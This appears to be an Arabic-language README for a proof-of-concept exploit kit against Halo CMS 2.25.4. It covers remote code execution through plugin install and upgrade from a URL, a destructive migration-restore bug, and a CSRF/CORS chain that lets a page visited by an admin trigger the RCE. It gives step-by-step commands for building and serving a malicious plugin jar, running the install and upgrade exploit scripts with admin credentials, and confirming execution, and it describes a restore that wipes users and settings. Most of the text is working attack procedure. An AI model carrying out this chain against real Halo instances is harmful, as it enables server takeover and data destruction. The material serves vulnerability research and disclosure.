
halo cms plugin ثغرة RCE بطلب واحد من عنوان URL، مع PoC وسلسلة استغلال
تتيح لوحة تحكم هالو للمشرفين تثبيت الإضافات وترقيتها بلصق رابط. فهي تجلب أي عنوان URL، تثبّت ملف jar، ويُشغَّل كود ملف jar على الخادم. لا توجد فحوصات على البروتوكول، ولا على المضيف، وتُتبع عمليات إعادة التوجيه، ويقوم مدير الإضافات بتحميل فئات الامتداد مباشرة من داخل ملف jar.
وهي cve-2026-67919 (التثبيت من URI / الترقية من URI)، وcve-2026-67920 (استعادة الترحيل)، وcve-2026-67921 (سلسلة CSRF/CORS). تم التحقق من الثلاثة جميعًا على halohub/halo:2.25.4 في مختبر docker، في أغسطس 2026. الفرع الرئيسي ما زال غير مُصحَّح.
الجزء الممتع: إنها أيضًا سلسلة تعمل من المتصفح فقط. لا تتحقق API الخاصة بلوحة التحكم من رمز XSRF، وملف تعريف ارتباط الجلسة هو samesite=none، ويعكس CORS أي أصل مصحوبًا ببيانات الاعتماد. يمكن لصفحة يزورها المشرف أن تفعل كل ذلك باستخدام fetch(). انظر exploit/csrf.html.
docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
# visit /system/setup once, or script it (see notes/findings.md)
قدّم ملف jar من المضيف (مرتبطًا بـ 0.0.0.0، وتصل الحاوية إلى المضيف عبر host.docker.internal):
python3 -m http.server 8123
ابنِ الإضافة الخبيثة (يتطلب JDK 17):
cd plugin && sh build.sh
ثم:
cd exploit && python3 -m pip install -r requirements.txt
./rce_install.py http://localhost:8090 admin 'Admin@12345' \
http://host.docker.internal:8123/poc-plugin.jar
docker exec halo cat /tmp/pwned
يمكن استبدال أي إضافة مثبتة مسبقًا في طلب واحد؛ كل ما يحتاجه ملف jar هو نفس metadata.name وإصدار أعلى. poc-sitemap.jar هو هذا المتغير لإضافة PluginSitemap المدمجة (1.x -> 2.0.0).
./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar
docker exec halo cat /tmp/pwned
افتح exploit/csrf.html، وجّهه إلى هالو الخاص بك، ثم انقر. هذه هي سلسلة cve-2026-67921 -> cve-2026-67919: لا توجد رأس XSRF، ينتقل ملف تعريف ارتباط الجلسة عبر المواقع، ويتيح CORS قراءة الاستجابة.
المشرف فقط، بغضّ النظر عمّا يقوله وصف CISA. المجهول يحصل على 302، والضيف على 403، والمشرف على تنفيذ تعليمات برمجية. سلسلة CSRF تجعل الأمر مثيرًا للاهتمام لأن المشرف يكون مسجّلًا بالفعل عند تشغيل الصفحة.
تستدعي عمليات الاستعادة عنوان URL عشوائيًا (بدائية جلب أخرى)، وتكتب مجلد workdir/ من ملف zip إلى دليل عمل هالو دون تنظيف، وتستبدل مخزن الإضافات بالكامل بمحتويات النسخة الاحتياطية. ملف extensions.data فارغ يمسح المستخدمين وربطات الأدوار والإعدادات. استخدم exploit/migration_restore.py على جهاز مؤقت فقط.
exploit/ login.py, rce_install.py, rce_upgrade.py,
migration_restore.py, csrf.html
plugin/ plugin.yaml, Exploit.java, plugin-components.idx,
build.sh, prebuilt jars
notes/ findings.md (privilege ladder, fetcher behavior,
cookie/cors details, fix status)
بالنسبة لمتغير الطلب الواحد، عدّل plugin/plugin.yaml (metadata.name + الإصدار) وأعد البناء؛ أو استخدم poc-sitemap.jar المبني مسبقًا مع هالو مثبت عليه PluginSitemap.
إخلاء مسؤولية: للبحث على أنظمة تملكها. استعادة الترحيل بشكل خاص ستدمّر المثيل الذي تعمل ضده.
chris jagdeo (k0nnect)